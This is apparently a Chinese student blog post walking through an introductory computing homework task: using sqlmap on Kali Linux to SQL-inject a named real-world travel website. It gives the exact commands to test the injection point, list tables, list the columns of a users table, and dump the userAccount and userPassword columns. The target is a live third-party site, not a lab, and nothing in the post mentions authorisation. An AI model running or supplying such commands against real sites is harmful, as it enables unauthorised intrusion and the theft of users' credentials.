数据库
首页 > 数据库> > 商大苦难计算机导论(SQL注入篇)

商大苦难计算机导论(SQL注入篇)

作者:互联网

一、准备工作
如果只在学校的电脑上耍可以跳过;
否则的话
需要安装VM Ware
安装Kali Linux虚拟机
这个教程很详细

https://blog.csdn.net/qq_40950957/article/details/80468030

其实虚拟机迟早都得学,都得用,我建议早点在自己电脑上装上
二、打开VM Ware 和 Kali linux
准备工作做好之后有手就行
三、打开Sqlmap工具
在这儿
在这里插入图片描述
四、找一个受害者(网站)
网站老师给的PPT里有,这里用最后一个做示范
在这里插入图片描述
五、进行迫害
1、先看看能不能进行sql注入

PS:让你输入Y/n的时候一律输Y就完了(Y用小写也是可以的);
-u后面的是自己选的网址

sqlmap -u http://www.17tour.com.tw/newsCat.php?cat=1

一切正常的话大概会进到这块地方;
说明这个网站是可以的
在这里插入图片描述
2、爆表名

sqlmap -u http://www.17tour.com.tw/newsCat.php?cat=1 –tables

一切正常的话…
就能看到两个database(数据库)
这里只贴了一个
在这里插入图片描述
找到那个类似于user这样的数据表,记下它在哪个数据库下面,实例中是 tourtw_new17tour 这个数据库
在这里插入图片描述
3、爆列名

user是你刚刚找到的表;名字可能类似user不一定就是user

sqlmap -u http://www.17tour.com.tw/newsCat.php?cat=1 --columns -T "users"

一切顺利的话…
在这里插入图片描述
4、就可以看到我们的目标了

就是那个userAccount 和userPassword
记得类比为自己的(小声bb)

sqlmap -u http://www.17tour.com.tw/newsCat.php?cat=1 --dump -C "userAccount,userPassword"

最终结果
在这里插入图片描述
六、作业上传

暂时不用交,结课之后交
现阶段只要写个word
把步骤写好,每一步执行后把结果截图贴到word里

标签:sqlmap,newsCat,tw,导论,苦难,tour,www.17,SQL,com
来源: https://blog.csdn.net/AlanCorn_02/article/details/111085760